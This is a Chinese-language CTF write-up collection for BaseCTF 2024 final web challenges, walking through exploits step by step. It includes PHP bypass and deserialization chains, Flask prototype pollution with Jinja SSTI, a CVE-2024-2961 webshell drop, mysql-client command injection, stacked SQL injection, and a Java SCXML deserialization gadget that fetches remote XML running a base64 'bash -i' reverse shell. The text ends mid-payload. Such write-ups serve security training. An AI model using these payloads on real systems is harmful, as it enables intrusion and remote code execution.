2024BaseCTF-fin-Web

Fin

官方WP

https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh

Back to the future

题目描述

​ 本题理论不需要扫描器

考点

  • git信息泄露

题解

​ 开局只有几个字,没有其他线索,需要信息搜集,既然说到理论不需要扫描器,尝试访问/robots.txt,发现Disallow: /.git

​ 存在git信息泄露

​ 使用GitHacker进行扫描利用

​ 发现了README.md

# My Website

This is my web project.

Oops, I place flag here, but i deleted it!

​ 提示的很明显,应该是要查git日志找历史记录

​ 进入到.git所在目录,使用git log命令

​ 看到

basectf2024_fin_web_backtothefuture_0

​ 使用git log -p e2bc04bc70f7b7476ae7ad0e943ef62aa2b5556e即可看到flag

basectf2024_fin_web_backtothefuture_1


1z_php

题目描述

​ php没有难题(Kengwang和晨曦出的除外)

考点

  • php解析特性
  • 常见php函数绕过
  • php原生类
  • php伪协议
  • 魔术方法

题解

​ 题目给出源码

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

​ 首先分析题目要求,经典绕过+套娃类体型

​ 需要满足以下条件才能执行eval():

  1. $emp!="114514"

  2. intval($emp,0)===114514

  3. $emp中不存在字母

  4. preg_match('/.+?HACKER/is',$try)匹配失败

  5. stripos($try,'HACKER')===True

  6. stripos($b,'php')===0

    对于$emp=$_GET['e_m.p'];,倘若直接传?e_m.p=114514,则php服务器实际上会将其解析为?e_m_p=114514,而在php版本<8的环境中,存在一个解析bug,即传入?e[m.p=114514使php将[解析为_,而后面的.不会再被转义解析。

    传入?e[m.p=114514a,显然$emp!="114514",而intval()会将114514a转化成整型114514,完成条件一二。

    然后被条件三拦下,处理方法很简单,把a换成一个非特殊字符即可,例如?e[m.p=114514\

    对于条件四和五,无法采用数组绕过,想到绕过preg_match的方法还有回溯次数绕过,默认回溯100w次,再100w个字符后的将不会继续匹配,手写自然不限,需要用到脚本辅助,使用python,POST传{try: "a"*1000001 + "HACKER"}

    对于条件六,传?b=php即可。

    然后注意到echo (new $a($b))->$c();,很明显,需要用到php原生类,使用SplFileObject类访问文件,

    恰好$b以php开头,可以使用php伪协议进行文件包含b=php://filter/convert.base64-encode/resource=flag.php

    最后,实例化这个原生类并调用了其一个名为$C的方法,原生类中自然存在魔术方法,而要输出字符串,最好的自然是__toString魔术方法,传?c=__toString

    最终,exp为

    import requests
    
    url = "http://challenge.basectf.fun:41761/"
    
    payload = "?e[m.p=114514\\&b=php://filter/convert.base64-encode/resource=flag.php&a=SplFileObject&c=__toString"
    data = {
       "try": "-"*1000001+"HACKER"
    }
    response = requests.post(url+payload, data=data).text
    print(response)

    最后代码虽然给到了shell,但如果前面没有构建成功,代码是无法运行到eval函数处的,要么报错,要么就die了


Jinja Mark

题目描述

​ ssti注入只会用带花括号的payload?逊诶

考点

  • 原型链污染
  • SSTI模板注入

题解

​ 访问根路由,提示:都进题了,愣着干嘛,去/index里啊!什么?你想要flag,那你去/flag啊!得知还有/index/flag路由

​ 访问/flag路由,提示:你不会以为这里真的有flag吧?想要flag的话先猜猜我的幸运数字,用POST方式把 lucky_number 告诉我吧,只有四位数哦

​ 访问/index路由并尝试ssti注入,提示:Hello 别急着ssti注入嘛,先去/magic那里给我变个魔术,得知还有/magic路由

​ 访问/magic则提示:记得用POST方法把魔术交上来

​ 选择先从/flag路由下手,直接上BurpSuite暴力跑幸运数字,爆破得到幸运数字为5346,并得到部分源码

BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

​ 可以看到{}都被过滤了,但很明显存在原型链污染漏洞,将全局变量BLACKLIST_IN_index给修改掉就可以SSTI注入了

​ 原型链污染的payload为

POST /magic HTTP/1.1
Host: challenge.basectf.fun:30509
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 76

{
    "__init__":{
        "__globals__":{
            "BLACKLIST_IN_index": []
        }
    }
}

​ 原型链污染后,过滤就没有了,此时就可以进行无过滤SSTI了

​ 用焚靖生成一个payload:{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}


Just Readme (前置)

题目描述

echo file_get_contents($_POST['file']);

​ 仍然是执行 /readflag

考点

  • CVE-2024-2961

题解

​ 对于这样的代码

<?php
    echo file_get_contents($_POST['file']);
?>

​ 存在glibc的iconv()中的缓冲区溢出漏洞(CVE-2024-2961)

​ 复现博客CVE-2024-2961复现-CSDN博客

​ 影响PHP 7.0.0 (2015) 到 8.3.7 (2024),file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等

​ 引用晨曦✌的博客:

​ 基本原理就是 iconv 在转换 ISO-2022-CN-EXT 时出现越界写入,iconvphp://filter/ 使用过滤器时会使用的函数,后边就是pwn的知识了。

​ 更简单的流程就是,先读出php所使用的 libc 和所使用堆的基地址,然后通过缓冲区溢出的越界写入,实现地址覆盖,调用 libc 里面的函数, 从而rce。

​ 原始EXP下载,将第62行修改为data = response.re.search(b"(.*)", flags=re.S).group(1)即可

​ 运行exp:python cnext-exploit.py http://gz.imxbt.cn:20358/ "echo '<?php eval(\$_GET[6]);?>' > hack.php"即可写入木马,访问hack.php?6=system("/readflag");即可


Readme

题目描述

​ 我要读 flag 啦~ 欸,但是没有回显可怎么办?

​ 请执行 /readflag

​ 如果你在用神奇脚本的话需要改改哦~

考点

  • CVE-2024-2961

题解

​ 相比于Just Readme(前置),这个题没有了回显,尝试运行之前的exp,返回

[-] Remote.download did not return the test string
--------------------
Expected test string: b'2FancwkqtVnShWtBdZWZZcWjvGbUgvEHczEkmmlVqe7yOwjD7W'
Got: b''
--------------------
[-] If your code works fine, it means that the data:// wrapper does not work

​ 官方WP说将第62行换成data = response.text即可,但是我这边并没有成功,也可能是复现环境的问题


Lucky Number

题目描述

​ 原型链污染的大手可以伸很长的哦

考点

  • 原型链污染
  • SSTI模板注入

题解

​ 访问根路由,提示:都进题了,愣着干嘛,想要flag的话,那你去/flag啊!

​ 访问/flag路由,提示你不会以为这里真的有flag吧?想要flag的话先提交我的幸运数字5346,但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了,但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法,下面是前人留下来的信息,希望对你有用以及部分源码

from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

​ 需要借助__kwdefaults__污染heaven.pycreate类的lucky_number,因为导入了heaven模块,所以直接在__init__.__globals__中就可以找到,在heaven模块下,存在create类,再利用__kwdefaults__修改confirmlucky_number即可

{
    "__init__":{
        "__globals__":{
            "heaven":{
                "create":{
                    "__kwdefaults__":{
                        "confirm": true,
                        "lucky_number":"5346"
                    }
                }
            }
        }
    }
}

​ 官方给出的污染链则是

​ 没有导入sys模块,则通过json模块下的__spec__内置属性,通过<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块,再进一步获取到heaven模块

{
    "__init__": {
        "__globals__": {
            "json":{
                "__spec__":{
                    "__init__" : {
                        "__globals__" : {
                            "sys" : {
                                "modules" : {
                                    "heaven" : {
                                        "create" : {
                                              "__kwdefaults__" : {
                                              "confirm" : true,
                                              "lucky_number" : "5346"
                                             } 
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

​ 污染成功后,提示我们访问/check路由,如果达成污染目标,则提示:太好了,你拿到我的幸运数字了,已经帮你把黑名单清空了,快去/ssSstTti1注入吧,然后再访问/ssSstTti1进行一个无过滤SSTI即可

​ Payload:{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}


RCE or Sql Inject

题目描述

​ 不可能有SQL注入,RCE好像也不太可能

​ R! C! E!

​ mysql远程连接和命令行操作是不是有些区别呢

​ 输个问号看看?

考点

  • RCE
  • 换行绕过
  • SQL的system关键字

题解

​ 题目给出源码

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

​ 提示输入问号,在mysql命令行中输入,可以看到

?         (\?) Synonym for `help'.
clear     (\c) Clear the current input statement.
connect   (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
ego       (\G) Send command to mysql server, display result vertically.
exit      (\q) Exit mysql. Same as quit.
go        (\g) Send command to mysql server.
help      (\h) Display this help.
notee     (\t) Don't write into outfile.
print     (\p) Print current command.
prompt    (\R) Change your mysql prompt.
quit      (\q) Quit mysql.
rehash    (\#) Rebuild completion hash.
source    (\.) Execute an SQL script file. Takes a file name as an argument.
status    (\s) Get status information from the server.
system    (\!) Execute a system shell command.
tee       (\T) Set outfile [to_outfile]. Append everything into given outfile.
use       (\u) Use another database. Takes database name as argument.
charset   (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.
warnings  (\W) Show warnings after every statement.
nowarning (\w) Don't show warnings after every statement.

​ 应该是在提示我们使用某一个方法,推测应该需要用到system进行RCE

​ 使用换行符%0a绕过--注释符,即可利用system进行RCE,在目录中没有找到flag,最后发现在环境变量里

​ paylaod:?sql=%0asystem%20env

basectf2024_fin_rce_0


Sql Inject or RCE

题目描述

​ 不可能有RCE,SQL注入好像也不太可能

考点

  • 堆叠注入

题解

​ 题目给出源码

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

​ 相比于RCE or Sql Inject,过滤了st,无法RCE了,这道题应该是SQL注入

​ 将del的过滤改成了delect,搜索del开头的关键字

​ 注意到有delimiter,它的作用是标志SQL语句的结束,正常来说,因为;被过滤了,无法进行堆叠注入,而通过修改SQL语句的结束标志,就可以绕过这个过滤,达成堆叠注入

delimiter aaa  # 将结束符修改为aaa
handler flag open aaa  # 使用handler代替select读取flag,由only on sql推测flag在ctf.flag
handler flag read next aaa  # first被过滤,使用next 

payload: %0adelimiter%20aaa%0ahandler%20flag%20open%20aaa%20handler%20flag%20read%20next%20aaa


ez_php

题目描述

​ php 能有什么难题(

考点

  • php反序列化
  • 特殊变量传参
  • GC回收机制
  • 引用绕过
  • 字符串逃逸

题解

​ 题目给到源代码

<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
}

​ 先构造POC链

​ 最终目标是R->__invoke(),这需要E->__isset()触发,又需要F->__get()触发,再需要T->__call()触发,再需要C->__toString()触发,如果Hacker->__destruct()中的$this->username是一个对象,便可触发__toString(),至此,链子已经很清晰了

​ 但存在__wakeup()对username的覆写,但其下一行存在赋值操作,可使用引用绕过

​ 同时程序主动抛出错误,使得__destruct()无法到达,利用GC回收机制绕过

​ 链子如下:

<?php
class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}
$r = new R();
$r->r = 'phpinfo();';
$e = new E();
$e->e = $r;
$f = new F();
$f->f = $e;
$t = new T();
$t->t = $f;
$c = new C();
$c->c = $t;
$hacker = new Hacker("ctfer");
$hacker->end = &$hacker->username;
$hacker->start = $c;
$exp=array($hacker,NULL);

echo serialize($exp);
# a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

# a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}

substrstr()函数会截取serialize($ctf)的值进行反序列化,本地测试一下serialize($ctf)的值,发现为:

O:6:"Hacker":3:{s:5:"start";s:211:"{{{a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

​ 其中O:6:"Hacker":3:{s:5:"start";s:208:"{{{会影响我们的反序列化,是我们不想要的,最后的}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}不影响解析,因此可以不用管,经过计算需要截取38个字符

​ 利用mb_strpos()mb_substr()一起使用导致的解析漏洞,以下引用别人博客

每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节,截取3字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节,截取2字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节,截取1字节

​ 因此,最终payload为:

substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system("cat /flag");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}

scxml

题目描述

https://blog.pyn3rd.com/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/

考点

  • RCE
  • XXE

题解

​ 以下转自官方WP

​ java代码

package com.n1ght;

import org.apache.commons.scxml2.SCInstance;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;
import sun.misc.Unsafe;

import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;

public class AAA {
    public static void main(String[] args) throws Exception{

        SimpleSCXMLInvoker simpleSCXMLInvoker = new SimpleSCXMLInvoker();
        Unsafe unsafe = getUnsafe();
        SCXMLExecutor scxmlExecutor = new SCXMLExecutor();
        scxmlExecutor.setEvaluator(new JexlEvaluator());
        Constructor<SCInstance> declaredConstructor = SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class);
        declaredConstructor.setAccessible(true);
        SCInstance scInstance = declaredConstructor.newInstance(scxmlExecutor);
        unsafe.putObject(simpleSCXMLInvoker,unsafe.objectFieldOffset(simpleSCXMLInvoker.getClass().getDeclaredField("parentSCInstance")),scInstance);
        unsafe.putObject(scInstance,unsafe.objectFieldOffset(scInstance.getClass().getDeclaredField("evaluator")),new JexlEvaluator());
        InvokerImpl invoker = new InvokerImpl(simpleSCXMLInvoker, "http://ip/scxm2.xml", new HashMap<>());
        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        bypassModule(AAA.class,CompoundEdit.class);
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(invoker);
        setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager});
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(list2);
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));

    }
    public static void setAccessible(AccessibleObject member) throws Exception {
        member.setAccessible(true);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;

        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        } catch (Exception var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }

        return field;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    public static Unsafe getUnsafe() throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe)field.get((Object)null);
        return unsafe;
    }
    public static void bypassModule(Class src, Class dst) throws Exception {
        Unsafe unsafe = getUnsafe();
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module"))));
    }
}

​ 链子

EventListenerList#readObject->InvokerImpl#toString->SimpleSCXMLInvoker#invoke->SCXMLExecutor#go

​ 外部加载XML

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
        ''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,bash -i的密文}|{base64,-d}|{bash,-i}')
</script>
</onentry>
</state>
</scxml>

​ payload

POST /scxml?rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy8X6fHQgqwh0CAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAVY29tLm4xZ2h0Lkludm9rZXJJbXBskzknNs6grL8CAANMAAFvdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvaW52b2tlL0ludm9rZXI7TAAGcGFyYW1zdAAPTGphdmEvdXRpbC9NYXA7TAAGc291cmNldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5pbnZva2UuU2ltcGxlU0NYTUxJbnZva2VyAAAAAAAAAAECAAVaAAljYW5jZWxsZWRMAAtldmVudFByZWZpeHEAfgAQTAAIZXhlY3V0b3J0AClMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TQ1hNTEV4ZWN1dG9yO0wAEHBhcmVudFNDSW5zdGFuY2V0ACZMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TQ0luc3RhbmNlO0wADXBhcmVudFN0YXRlSWRxAH4AEHhwAHBwc3IAJG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NJbnN0YW5jZQAAAAAAAAACAgAKTAALY29tcGxldGlvbnNxAH4AD0wACGNvbnRleHRzcQB+AA9MAAlldmFsdWF0b3J0ACVMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9FdmFsdWF0b3I7TAAIZXhlY3V0b3JxAH4AE0wACWhpc3Rvcmllc3EAfgAPTAAUaW5pdGlhbFNjcmlwdENvbnRleHR0ACNMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9Db250ZXh0O0wADmludm9rZXJDbGFzc2VzcQB+AA9MAAhpbnZva2Vyc3EAfgAPTAAUbm90aWZpY2F0aW9uUmVnaXN0cnl0ADBMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9Ob3RpZmljYXRpb25SZWdpc3RyeTtMAAtyb290Q29udGV4dHEAfgAYeHBzcgAlamF2YS51dGlsLkNvbGxlY3Rpb25zJFN5bmNocm9uaXplZE1hcBtz+QlLSzl7AwACTAABbXEAfgAPTAAFbXV0ZXh0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAdeHNxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AIHhzcgAwb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5lbnYuamV4bC5KZXhsRXZhbHVhdG9yAAAAAAAAAAECAAJaABBqZXhsRW5naW5lU2lsZW50WgAQamV4bEVuZ2luZVN0cmljdHhwAABzcgAnb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ1hNTEV4ZWN1dG9yAAAAAAAAAAECAAhaAAlzdXBlclN0ZXBMAA1jdXJyZW50U3RhdHVzdAAiTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU3RhdHVzO0wADWVycm9yUmVwb3J0ZXJ0AClMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9FcnJvclJlcG9ydGVyO0wAD2V2ZW50ZGlzcGF0Y2hlcnQAK0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2ZW50RGlzcGF0Y2hlcjtMAANsb2d0ACBMb3JnL2FwYWNoZS9jb21tb25zL2xvZ2dpbmcvTG9nO0wACnNjSW5zdGFuY2VxAH4AFEwACXNlbWFudGljc3QAKkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MU2VtYW50aWNzO0wADHN0YXRlTWFjaGluZXQAJ0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL21vZGVsL1NDWE1MO3hwAXNyACBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlN0YXR1cwAAAAAAAAABAgACTAAGZXZlbnRzdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO0wABnN0YXRlc3QAD0xqYXZhL3V0aWwvU2V0O3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3IAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAAAeHBwc3IAK29yZy5hcGFjaGUuY29tbW9ucy5sb2dnaW5nLmltcGwuSmRrMTRMb2dnZXJCZref4CqgvAIAAUwABG5hbWVxAH4AEHhwdAAnb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ1hNTEV4ZWN1dG9yc3EAfgAWc3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgA4eHNxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AOnhzcQB+ACIAAHEAfgArc3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgA9eHBzcQB+ABtzcQB+AB4/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AD94c3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBBeHNyAC5vcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLk5vdGlmaWNhdGlvblJlZ2lzdHJ5AAAAAAAAAAECAAFMAARyZWdzcQB+AA94cHNxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARXhwc3IANm9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuc2VtYW50aWNzLlNDWE1MU2VtYW50aWNzSW1wbAAAAAAAAAABAgACTAAGYXBwTG9ncQB+AChMABB0YXJnZXRDb21wYXJhdG9ydABATG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvc2VtYW50aWNzL1RyYW5zaXRpb25UYXJnZXRDb21wYXJhdG9yO3hwc3EAfgA0dAAob3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ1hNTFNlbWFudGljc3NyAD5vcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcgAAAAAAAAABAgAAeHBwc3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBOeHBzcQB+ABtzcQB+AB4/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AFB4c3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAA